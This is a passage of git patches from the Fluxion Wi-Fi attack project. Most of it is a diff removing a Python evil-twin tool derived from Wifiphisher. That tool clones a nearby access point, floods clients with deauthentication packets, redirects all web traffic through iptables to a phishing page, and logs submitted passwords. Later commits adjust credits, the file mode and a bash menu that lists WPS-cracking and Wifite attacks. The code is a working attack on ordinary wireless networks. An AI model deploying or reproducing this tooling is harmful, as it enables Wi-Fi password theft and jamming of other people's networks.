deauth " + - "packets to the AP: -p 2" - ) - ) - parser.add_argument( - "-d", - "--directedonly", - help=("Skip the deauthentication packets to the broadcast address of" + - "the access points and only send them to client/AP pairs" - ), - action='store_true') - parser.add_argument( - "-a", - "--accesspoint", - help="Enter the MAC address of a specific access point to target" - ) - - return parser.parse_args() - - -class SecureHTTPServer(BaseHTTPServer.HTTPServer): - """ - Simple HTTP server that extends the SimpleHTTPServer standard - module to support the SSL protocol. - - Only the server is authenticated while the client remains - unauthenticated (i.e. the server will not request a client - certificate). - - It also reacts to self.stop flag. - """ - def __init__(self, server_address, HandlerClass): - SocketServer.BaseServer.__init__(self, server_address, HandlerClass) - self.socket = ssl.SSLSocket( - socket.socket(self.address_family, self.socket_type), - keyfile=PEM, - certfile=PEM - ) - - self.server_bind() - self.server_activate() - - def serve_forever(self): - """ - Handles one request at a time until stopped. - """ - self.stop = False - while not self.stop: - self.handle_request() - - -class SecureHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): - """ - Request handler for the HTTPS server. It responds to - everything with a 301 redirection to the HTTP server. - """ - def do_QUIT(self): - """ - Sends a 200 OK response, and sets server.stop to True - """ - self.send_response(200) - self.end_headers() - self.server.stop = True - - def setup(self): - self.connection = self.request - self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) - self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) - - def do_GET(self): - self.send_response(301) - self.send_header('Location', 'http://' + NETWORK_GW_IP + ':' + str(PORT)) - self.end_headers() - - def log_message(self, format, *args): - return - - -class HTTPServer(BaseHTTPServer.HTTPServer): - """ - HTTP server that reacts to self.stop flag. - """ - - def serve_forever(self): - """ - Handle one request at a time until stopped. - """ - self.stop = False - while not self.stop: - self.handle_request() - - -class HTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): - """ - Request handler for the HTTP server that logs POST requests. - """ - def redirect(self, page="/"): - self.send_response(301) - self.send_header('Location', page) - self.end_headers() - - def do_QUIT(self): - """ - Sends a 200 OK response, and sets server.stop to True - """ - self.send_response(200) - self.end_headers() - self.server.stop = True - - def do_GET(self): - - if self.path == "/": - wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp" - with open(wifi_webserver_tmp, "a+") as log_file: - log_file.write('[' + T + '*' + W + '] ' + O + "GET " + T + - self.client_address[0] + W + "\n" - ) - log_file.close() - self.path = "index.html" - self.path = "%s/%s" % (PHISING_PAGE, self.path) - - if self.path.endswith(".html"): - if not os.path.isfile(self.path): - self.send_response(404) - return - f = open(self.path) - self.send_response(200) - self.send_header('Content-type', 'text-html') - self.end_headers() - # Send file content to client - self.wfile.write(f.read()) - f.close() - return - # Leave binary and other data to default handler. - else: - SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) - - def do_POST(self): - global terminate - redirect = False - form = cgi.FieldStorage( - fp=self.rfile, - headers=self.headers, - environ={'REQUEST_METHOD': 'POST', - 'CONTENT_TYPE': self.headers['Content-type'], - }) - if not form.list: - return - for item in form.list: - if item.name and item.value and POST_VALUE_PREFIX in item.name: - redirect = True - wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp" - with open(wifi_webserver_tmp, "a+") as log_file: - log_file.write('[' + T + '*' + W + '] ' + O + "POST " + - T + self.client_address[0] + - R + " " + item.name + "=" + item.value + - W + "\n" - ) - log_file.close() - if redirect: - self.redirect("/upgrading.html") - terminate = True - return - self.redirect() - - def log_message(self, format, *args): - return - - -def stop_server(port=PORT, ssl_port=SSL_PORT): - """ - Sends QUIT request to HTTP server running on localhost: - """ - conn = httplib.HTTPConnection("localhost:%d" % port) - conn.request("QUIT", "/") - conn.getresponse() - - conn = httplib.HTTPSConnection("localhost:%d" % ssl_port) - conn.request("QUIT", "/") - conn.getresponse() - - -def shutdown(): - """ - Shutdowns program. - """ - os.system('iptables -F') - os.system('iptables -X') - os.system('iptables -t nat -F') - os.system('iptables -t nat -X') - os.system('pkill airbase-ng') - os.system('pkill dnsmasq') - os.system('pkill hostapd') - if os.path.isfile('/tmp/wifiphisher-webserver.tmp'): - os.remove('/tmp/wifiphisher-webserver.tmp') - if os.path.isfile('/tmp/wifiphisher-jammer.tmp'): - os.remove('/tmp/wifiphisher-jammer.tmp') - if os.path.isfile('/tmp/hostapd.conf'): - os.remove('/tmp/hostapd.conf') - reset_interfaces() - print '\n[' + R + '!' + W + '] Closing' - sys.exit(0) - - -def get_interfaces(): - interfaces = {"monitor": [], "managed": [], "all": []} - proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) - for line in proc.communicate()[0].split('\n'): - if len(line) == 0: - continue # Isn't an empty string - if line[0] != ' ': # Doesn't start with space - wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line) - if not wired_search: # Isn't wired - iface = line[:line.find(' ')] # is the interface - if 'Mode:Monitor' in line: - interfaces["monitor"].append(iface) - elif 'IEEE 802.11' in line: - interfaces["managed"].append(iface) - interfaces["all"].append(iface) - return interfaces - - -def get_iface(mode="all", exceptions=["_wifi"]): - ifaces = get_interfaces()[mode] - for i in ifaces: - if i not in exceptions: - return i - return False - - -def reset_interfaces(): - monitors = get_interfaces()["monitor"] - for m in monitors: - if 'mon' in m and os.path.isfile('/usr/sbin/airmon-ng'): - Popen(['airmon-ng', 'stop', m], stdout=DN, stderr=DN) - else: - Popen(['ifconfig', m, 'down'], stdout=DN, stderr=DN) - Popen(['iwconfig', m, 'mode', 'managed'], stdout=DN, stderr=DN) - Popen(['ifconfig', m, 'up'], stdout=DN, stderr=DN) - - -def get_internet_interface(): - '''return the wifi internet connected iface''' - inet_iface = None - - if os.path.isfile("/sbin/ip") == True: - proc = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN) - def_route = proc.communicate()[0].split('\n') # [0].split() - for line in def_route: - if 'wlan' in line and 'default via' in line: - line = line.split() - inet_iface = line[4] - ipprefix = line[2][:2] # Just checking if it's 192, 172, or 10 - return inet_iface - else: - proc = open('/proc/net/route', 'r') - default = proc.readlines()[1] - if "wlan" in default: - def_route = default.split()[0] - x = iter(default.split()[2]) - res = [''.join(i) for i in zip(x, x)] - d = [str(int(i, 16)) for i in res] - return inet_iface - return False - - -def channel_hop(mon_iface): - chan = 0 - while hop_daemon_running: - try: - if chan > 11: - chan = 0 - chan = chan + 1 - channel = str(chan) - iw = Popen( - ['iw', 'dev', mon_iface, 'set', 'channel', channel], - stdout=DN, stderr=PIPE - ) - for line in iw.communicate()[1].split('\n'): - # iw dev shouldnt display output unless there's an error - if len(line) > 2: - with lock: - err = ( - '[' + R + '-' + W + '] Channel hopping failed: ' + - R + line + W + '\n' - 'Try disconnecting the monitor mode\'s parent' + - 'interface (e.g. wlan0)\n' - 'from the network if you have not already\n' - ) - sys.exit(err) - break - time.sleep(1) - except KeyboardInterrupt: - sys.exit() - - -def sniffing(interface, cb): - '''This exists for if/when I get deauth working - so that it's easy to call sniff() in a thread''' - sniff(iface=interface, prn=cb, store=0) - - -def targeting_cb(pkt): - global APs, count - if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): - try: - ap_channel = str(ord(pkt[Dot11Elt:3].info)) - except Exception: - return - essid = pkt[Dot11Elt].info - mac = pkt[Dot11].addr2 - if len(APs) > 0: - for num in APs: - if essid in APs[num][1]: - return - count += 1 - APs[count] = [ap_channel, essid, mac] - target_APs() - - -def target_APs(): - global APs, count - os.system('clear') - print ('[' + G + '+' + W + '] Ctrl-C at any time to copy an access' + - ' point from below') - print 'num ch ESSID' - print '---------------' - for ap in APs: - print (G + str(ap).ljust(2) + W + ' - ' + APs[ap][0].ljust(2) + ' - ' + - T + APs[ap][1] + W) - - -def copy_AP(): - global APs, count - copy = None - while not copy: - try: - copy = raw_input( - ('\n[' + G + '+' + W + '] Choose the [' + G + 'num' + W + - '] of the AP you wish to copy: ') - ) - copy = int(copy) - except Exception: - copy = None - continue - try: - channel = APs[copy][0] - essid = APs[copy][1] - if str(essid) == "\x00": - essid = ' ' - mac = APs[copy][2] - return channel, essid, mac - except KeyError: - return copy_AP() - - -def start_ap(mon_iface, channel, essid, args): - print '[' + T + '*' + W + '] Starting the fake access point...' - config = ( - 'interface=%s\n' - 'driver=nl80211\n' - 'ssid=%s\n' - 'hw_mode=g\n' - 'channel=%s\n' - 'macaddr_acl=0\n' - 'ignore_broadcast_ssid=0\n' - ) - with open('/tmp/hostapd.conf', 'w') as dhcpconf: - dhcpconf.write(config % (mon_iface, essid, channel)) - - Popen(['hostapd', '/tmp/hostapd.conf'], stdout=DN, stderr=DN) - try: - time.sleep(6) # Copied from Pwnstar which said it was necessary? - except KeyboardInterrupt: - shutdown() - - -def dhcp_conf(interface): - - config = ( - 'no-resolv\n' - 'interface=%s\n' - 'dhcp-range=%s\n' - 'address=/#/%s' - ) - - with open('/tmp/dhcpd.conf', 'w') as dhcpconf: - dhcpconf.write(config % (interface, DHCP_LEASE, NETWORK_GW_IP)) - return '/tmp/dhcpd.conf' - - -def dhcp(dhcpconf, mon_iface): - os.system('echo > /var/lib/misc/dnsmasq.leases') - dhcp = Popen(['dnsmasq', '-C', dhcpconf], stdout=PIPE, stderr=DN) - Popen(['ifconfig', str(mon_iface), 'mtu', '1400'], stdout=DN, stderr=DN) - Popen( - ['ifconfig', str(mon_iface), 'up', NETWORK_GW_IP, - 'netmask', NETWORK_MASK - ], - stdout=DN, - stderr=DN - ) - # Make sure that we have set the network properly. - proc = check_output(['ifconfig', str(mon_iface)]) - if NETWORK_GW_IP not in proc: - return False - time.sleep(.5) # Give it some time to avoid "SIOCADDRT: Network is unreachable" - os.system( - ('route add -net %s netmask %s gw %s' % - (NETWORK_IP, NETWORK_MASK, NETWORK_GW_IP)) - ) - return True - - -def get_strongest_iface(exceptions=[]): - interfaces = get_interfaces()["managed"] - scanned_aps = [] - for i in interfaces: - if i in exceptions: - continue - count = 0 - proc = Popen(['iwlist', i, 'scan'], stdout=PIPE, stderr=DN) - for line in proc.communicate()[0].split('\n'): - if ' - Address:' in line: # first line in iwlist scan for a new AP - count += 1 - scanned_aps.append((count, i)) - print ('[' + G + '+' + W + '] Networks discovered by ' - + G + i + W + ': ' + T + str(count) + W) - if len(scanned_aps) > 0: - interface = max(scanned_aps)[1] - return interface - return False - - -def start_mode(interface, mode="monitor"): - print ('[' + G + '+' + W + '] Starting ' + mode + ' mode off ' - + G + interface + W) - try: - os.system('ifconfig %s down' % interface) - os.system('iwconfig %s mode %s' % (interface, mode)) - os.system('ifconfig %s up' % interface) - return interface - except Exception: - sys.exit('[' + R + '-' + W + '] Could not start %s mode' % mode) - - -# Wifi Jammer stuff -# TODO: Merge this with the other channel_hop method. -def channel_hop2(mon_iface): - ''' - First time it runs through the channels it stays on each channel for - 5 seconds in order to populate the deauth list nicely. - After that it goes as fast as it can - ''' - global monchannel, first_pass - - channelNum = 0 - - while 1: - if args.channel: - with lock: - monchannel = args.channel - else: - channelNum += 1 - if channelNum > 11: - channelNum = 1 - with lock: - first_pass = 0 - with lock: - monchannel = str(channelNum) - - proc = Popen( - ['iw', 'dev', mon_iface, 'set', 'channel', monchannel], - stdout=DN, - stderr=PIPE - ) - - for line in proc.communicate()[1].split('\n'): - if len(line) > 2: - # iw dev shouldnt display output unless there's an error - err = ('[' + R + '-' + W + '] Channel hopping failed: ' - + R + line + W) - sys.exit(err) - - output(monchannel) - if args.channel: - time.sleep(.05) - else: - # For the first channel hop thru, do not deauth - if first_pass == 1: - time.sleep(1) - continue - - deauth(monchannel) - - -def deauth(monchannel): - ''' - addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway - if there's multi-APs to one gateway. Constantly scans the clients_APs list - and starts a thread to deauth each instance - ''' - - pkts = [] - - if len(clients_APs) > 0: - with lock: - for x in clients_APs: - client = x[0] - ap = x[1] - ch = x[2] - ''' - Can't add a RadioTap() layer as the first layer or it's a - malformed Association request packet? - Append the packets to a new list so we don't have to hog the - lock type=0, subtype=12? - ''' - if ch == monchannel: - deauth_pkt1 = Dot11( - addr1=client, - addr2=ap, - addr3=ap) / Dot11Deauth() - deauth_pkt2 = Dot11( - addr1=ap, - addr2=client, - addr3=client) / Dot11Deauth() - pkts.append(deauth_pkt1) - pkts.append(deauth_pkt2) - if len(APs) > 0: - if not args.directedonly: - with lock: - for a in APs: - ap = a[0] - ch = a[1] - if ch == monchannel: - deauth_ap = Dot11( - addr1='ff:ff:ff:ff:ff:ff', - addr2=ap, - addr3=ap) / Dot11Deauth() - pkts.append(deauth_ap) - - if len(pkts) > 0: - # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI - if not args.timeinterval: - args.timeinterval = 0 - if not args.packets: - args.packets = 1 - - for p in pkts: - send(p, inter=float(args.timeinterval), count=int(args.packets)) - - -def output(monchannel): - wifi_jammer_tmp = "/tmp/wifiphisher-jammer.tmp" - with open(wifi_jammer_tmp, "a+") as log_file: - log_file.truncate() - with lock: - for ca in clients_APs: - if len(ca) > 3: - log_file.write( - ('[' + T + '*' + W + '] ' + O + ca[0] + W + - ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(2) + - ' - ' + T + ca[3] + W + '\n') - ) - else: - log_file.write( - '[' + T + '*' + W + '] ' + O + ca[0] + W + - ' - ' + O + ca[1] + W + ' - ' + ca[2] - ) - with lock: - for ap in APs: - log_file.write( - '[' + T + '*' + W + '] ' + O + ap[0] + W + - ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W + '\n' - ) - # print '' - - -def noise_filter(skip, addr1, addr2): - # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, - # broadcast - ignore = [ - 'ff:ff:ff:ff:ff:ff', - '00:00:00:00:00:00', - '33:33:00:', '33:33:ff:', - '01:80:c2:00:00:00', - '01:00:5e:', - mon_MAC - ] - if skip: - ignore.append(skip) - for i in ignore: - if i in addr1 or i in addr2: - return True - - -def cb(pkt): - ''' - Look for dot11 packets that aren't to or from broadcast address, - are type 1 or 2 (control, data), and append the addr1 and addr2 - to the list of deauth targets. - ''' - global clients_APs, APs - - # return these if's keeping clients_APs the same or just reset clients_APs? - # I like the idea of the tool repopulating the variable more - if args.maximum: - if args.noupdate: - if len(clients_APs) > int(args.maximum): - return - else: - if len(clients_APs) > int(args.maximum): - with lock: - clients_APs = [] - APs = [] - - ''' - We're adding the AP and channel to the deauth list at time of creation - rather than updating on the fly in order to avoid costly for loops - that require a lock. - ''' - - if pkt.haslayer(Dot11): - if pkt.addr1 and pkt.addr2: - - # Filter out all other APs and clients if asked - if args.accesspoint: - if args.accesspoint not in [pkt.addr1, pkt.addr2]: - return - - # Check if it's added to our AP list - if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): - APs_add(clients_APs, APs, pkt, args.channel) - - # Ignore all the noisy packets like spanning tree - if noise_filter(args.skip, pkt.addr1, pkt.addr2): - return - - # Management = 1, data = 2 - if pkt.type in [1, 2]: - clients_APs_add(clients_APs, pkt.addr1, pkt.addr2) - - -def APs_add(clients_APs, APs, pkt, chan_arg): - ssid = pkt[Dot11Elt].info - bssid = pkt[Dot11].addr3 - try: - # Thanks to airoscapy for below - ap_channel = str(ord(pkt[Dot11Elt:3].info)) - # Prevent 5GHz APs from being thrown into the mix - chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11'] - if ap_channel not in chans: - return - - if chan_arg: - if ap_channel != chan_arg: - return - - except Exception: - return - - if len(APs) == 0: - with lock: - return APs.append([bssid, ap_channel, ssid]) - else: - for b in APs: - if bssid in b[0]: - return - with lock: - return APs.append([bssid, ap_channel, ssid]) - - -def clients_APs_add(clients_APs, addr1, addr2): - - if len(clients_APs) == 0: - if len(APs) == 0: - with lock: - return clients_APs.append([addr1, addr2, monchannel]) - else: - AP_check(addr1, addr2) - - # Append new clients/APs if they're not in the list - else: - for ca in clients_APs: - if addr1 in ca and addr2 in ca: - return - - if len(APs) > 0: - return AP_check(addr1, addr2) - else: - with lock: - return clients_APs.append([addr1, addr2, monchannel]) - - -def AP_check(addr1, addr2): - for ap in APs: - if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower(): - with lock: - return clients_APs.append([addr1, addr2, ap[1], ap[2]]) - - -def mon_mac(mon_iface): - ''' - http://stackoverflow.com/questions/159137/getting-mac-address - ''' - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15])) - mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] - print ('[' + G + '*' + W + '] Monitor mode: ' + G - + mon_iface + W + ' - ' + O + mac + W) - return mac - - -def sniff_dot11(mon_iface): - """ - We need this here to run it from a thread. - """ - sniff(iface=mon_iface, store=0, prn=cb) - - -def get_hostapd(): - if not os.path.isfile('/usr/sbin/hostapd'): - install = raw_input( - ('[' + T + '*' + W + '] hostapd not found ' + - 'in /usr/sbin/hostapd, install now? [y/n] ') - ) - if install == 'y': - os.system('apt-get -y install hostapd') - else: - sys.exit(('[' + R + '-' + W + '] hostapd' + - 'not found in /usr/sbin/hostapd')) - if not os.path.isfile('/usr/sbin/hostapd'): - sys.exit(( - '\n[' + R + '-' + W + '] Unable to install the \'hostapd\' package!\n' + - '[' + T + '*' + W + '] This process requires a persistent internet connection!\n' + - 'Please follow the link below to configure your sources.list\n' + - B + 'http://docs.kali.org/general-use/kali-linux-sources-list-repositories\n' + W + - '[' + G + '+' + W + '] Run apt-get update for changes to take effect.\n' + - '[' + G + '+' + W + '] Rerun the script again to install hostapd.\n' + - '[' + R + '!' + W + '] Closing' - )) - -if __name__ == "__main__": - - print " _ __ _ _ _ _ " - print " (_)/ _(_) | | (_) | | " - print " __ ___| |_ _ _ __ | |__ _ ___| |__ ___ _ __ " - print " \ \ /\ / / | _| | '_ \| '_ \| / __| '_ \ / _ \ '__|" - print " \ V V /| | | | | |_) | | | | \__ \ | | | __/ | " - print " \_/\_/ |_|_| |_| .__/|_| |_|_|___/_| |_|\___|_| " - print " | | " - print " |_| " - print " " - - # Parse args - args = parse_args() - # Are you root? - if os.geteuid(): - sys.exit('[' + R + '-' + W + '] Please run as root') - # Kill any possible programs that may interfere with the wireless card - # Only for systems with airmon-ng installed - if os.path.isfile('/usr/sbin/airmon-ng'): - proc = Popen(['airmon-ng', 'check', 'kill'], stdout=PIPE, stderr=DN) - - # Get hostapd if needed - get_hostapd() - - # TODO: We should have more checks here: - # Is anything binded to our HTTP(S) ports? - # Maybe we should save current iptables rules somewhere - reset_interfaces() - # Exit if less than two wireless interfaces exist in the system - if len(get_interfaces()['all']) <= 0: - sys.exit('[' + R + '-' + W + '] No wireless interfaces ' \ - + 'found. Closing... ') - elif len(get_interfaces()['all']) == 1: - sys.exit('[' + R + '-' + W + '] Only one wireless interface ' \ - + 'found. Closing... ') - # Get the right interfaces - inet_iface = get_internet_interface() - if not args.jamminginterface: - mon_iface = get_iface(mode="monitor", exceptions=[inet_iface]) - iface_to_monitor = False - else: - mon_iface = False - iface_to_monitor = args.jamminginterface - if not mon_iface: - if args.jamminginterface: - iface_to_monitor = args.jamminginterface - else: - iface_to_monitor = get_strongest_iface() - mon_iface = start_mode(iface_to_monitor, "monitor") - wj_iface = mon_iface - if not args.apinterface: - ap_iface = get_iface(mode="managed", exceptions=[iface_to_monitor]) - else: - ap_iface = args.apinterface - - if inet_iface and inet_iface in [ap_iface, iface_to_monitor]: - sys.exit( - ('[' + G + '+' + W + - '] Interface %s is connected to the Internet. ' % inet_iface + - 'Please disconnect and rerun the script.\n' + - '[' + R + '!' + W + '] Closing' - ) - ) - - ''' - We got the interfaces correctly at this point. Monitor mon_iface & for - the AP ap_iface. - ''' - # Set iptable rules and kernel variables. - os.system( - ('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination %s:%s' - % (NETWORK_GW_IP, PORT)) - ) - os.system( - ('iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination %s:%s' - % (NETWORK_GW_IP, SSL_PORT)) - ) - Popen( - ['sysctl', '-w', 'net.ipv4.conf.all.route_localnet=1'], - stdout=DN, - stderr=PIPE - ) - - print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables' - - # Copy AP - time.sleep(3) - hop = Thread(target=channel_hop, args=(mon_iface,)) - hop.daemon = True - hop.start() - sniffing(mon_iface, targeting_cb) - channel, essid, ap_mac = copy_AP() - hop_daemon_running = False - - # Start AP - start_ap(ap_iface, channel, essid, args) - dhcpconf = dhcp_conf(ap_iface) - if not dhcp(dhcpconf, ap_iface): - print('[' + G + '+' + W + - '] Could not set IP address on %s!' % ap_iface - ) - shutdown() - os.system('clear') - print ('[' + T + '*' + W + '] ' + T + - essid + W + ' set up on channel ' + - T + channel + W + ' via ' + T + mon_iface + - W + ' on ' + T + str(ap_iface) + W) - - # With configured DHCP, we may now start the web server - # Start HTTP server in a background thread - Handler = HTTPRequestHandler - try: - httpd = HTTPServer((NETWORK_GW_IP, PORT), Handler) - except socket.error, v: - errno = v[0] - sys.exit(( - '\n[' + R + '-' + W + '] Unable to start HTTP server (socket errno ' + str(errno) + ')!\n' + - '[' + R + '-' + W + '] Maybe another process is running on port ' + str(PORT) + '?\n' + - '[' + R + '!' + W + '] Closing' - )) - print '[' + T + '*' + W + '] Starting HTTP server at port ' + str(PORT) - webserver = Thread(target=httpd.serve_forever) - webserver.daemon = True - webserver.start() - # Start HTTPS server in a background thread - Handler = SecureHTTPRequestHandler - try: - httpd = SecureHTTPServer((NETWORK_GW_IP, SSL_PORT), Handler) - except socket.error, v: - errno = v[0] - sys.exit(( - '\n[' + R + '-' + W + '] Unable to start HTTPS server (socket errno ' + str(errno) + ')!\n' + - '[' + R + '-' + W + '] Maybe another process is running on port ' + str(SSL_PORT) + '?\n' + - '[' + R + '!' + W + '] Closing' - )) - print ('[' + T + '*' + W + '] Starting HTTPS server at port ' + - str(SSL_PORT)) - secure_webserver = Thread(target=httpd.serve_forever) - secure_webserver.daemon = True - secure_webserver.start() - - time.sleep(3) - - clients_APs = [] - APs = [] - args.accesspoint = ap_mac - args.channel = channel - monitor_on = None - conf.iface = mon_iface - mon_MAC = mon_mac(mon_iface) - first_pass = 1 - - monchannel = channel - # Start channel hopping - hop = Thread(target=channel_hop2, args=(wj_iface,)) - hop.daemon = True - hop.start() - - # Start sniffing - sniff_thread = Thread(target=sniff_dot11, args=(wj_iface,)) - sniff_thread.daemon = True - sniff_thread.start() - - # Main loop. - try: - while 1: - os.system("clear") - print "Jamming devices: " - if os.path.isfile('/tmp/wifiphisher-jammer.tmp'): - proc = check_output(['cat', '/tmp/wifiphisher-jammer.tmp']) - lines = proc.split('\n') - lines += ["\n"] * (5 - len(lines)) - else: - lines = ["\n"] * 5 - for l in lines: - print l - print "DHCP Leases: " - if os.path.isfile('/var/lib/misc/dnsmasq.leases'): - proc = check_output(['cat', '/var/lib/misc/dnsmasq.leases']) - lines = proc.split('\n') - lines += ["\n"] * (5 - len(lines)) - else: - lines = ["\n"] * 5 - for l in lines: - print l - print "HTTP requests: " - if os.path.isfile('/tmp/wifiphisher-webserver.tmp'): - proc = check_output( - ['tail', '-5', '/tmp/wifiphisher-webserver.tmp'] - ) - lines = proc.split('\n') - lines += ["\n"] * (5 - len(lines)) - else: - lines = ["\n"] * 5 - for l in lines: - print l - if terminate: - time.sleep(3) - shutdown() - time.sleep(0.5) - except KeyboardInterrupt: - shutdown() From 5ea7e085fadafb491ad8e3f0ecb01de14d181677 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 12:12:26 +0400 Subject: [PATCH 029/294] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index e79e39f..bb8927e 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,8 @@ $ sudo ./flux 2. Strasharo @Fluxion help to fix DHCPD and Pyrit Problems, spelling mistakes and translation mistakes 3. vk439 @Linset main developer of linset 4. ApatheticEuphoria @Wifi-Slaughter WPS Crack +5. Derv82 @Wifite/2 +6. Sophron @Wifiphisher **Check out the Linset project to lern more** From 3c3dcad0ab751961a79bf792ed3e219910c6ba46 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 11:03:02 +0200 Subject: [PATCH 030/294] make airmon executable --- airmon | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 airmon diff --git a/airmon b/airmon old mode 100644 new mode 100755 From ff7caf53e5daa27e8bfd3eadcfdcb352b70cafee Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 15:09:58 +0400 Subject: [PATCH 031/294] Update fluxion --- fluxion | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/fluxion b/fluxion index 32617b2..9618edc 100755 --- a/fluxion +++ b/fluxion @@ -251,14 +251,12 @@ DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" # Design -#* * -#*+++* function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" From 94f225b5ffcaa7540b020857a4b9cfaf3388f133 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 15:22:41 +0400 Subject: [PATCH 032/294] Update fluxion --- fluxion | 8333 ++++--------------------------------------------------- 1 file changed, 551 insertions(+), 7782 deletions(-) diff --git a/fluxion b/fluxion index 9618edc..ba7e8d3 100755 --- a/fluxion +++ b/fluxion @@ -1,9 +1,9 @@ #!/bin/bash ########## DEBUG Mode ########## -## ## +## ## FLUX_DEBUG=0 -## ## +## ## ################################ @@ -17,7 +17,7 @@ clear DUMP_PATH="/tmp/TMPflux" # Number de desautentificaciones DEAUTHTIME="30" -revision=4 +revision=3 version=0.18 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) @@ -256,13 +256,12 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" - echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" + echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} + echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo echo - } ##################################### < CONFIGURACION > ##################################### @@ -742,7 +741,7 @@ function Scanchan { function Scan { conditional_clear - xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR + xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR } # Choose a network @@ -835,13 +834,11 @@ function askAP { infoap - echo " ##### Select Attack Option #####" + echo "MODE FakeAP" echo " " - echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" - echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" - echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" - echo -e " "$blue"5)"$transparent" Back" + echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" + echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" + echo -e " "$blue"3)"$transparent" Back" echo " " echo -n " #> " read yn @@ -849,9 +846,7 @@ function askAP { case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) wifite ;; - 5 ) selection; break ;; + 3 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done @@ -862,6 +857,7 @@ function askAP { function askauth { conditional_clear + mostrarheader while true; do @@ -884,7855 +880,628 @@ Unknown option. Choose again"; conditional_clear ;; done } -function wps { - -clear -echo " -██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ -██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ -██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ -██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ -╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ 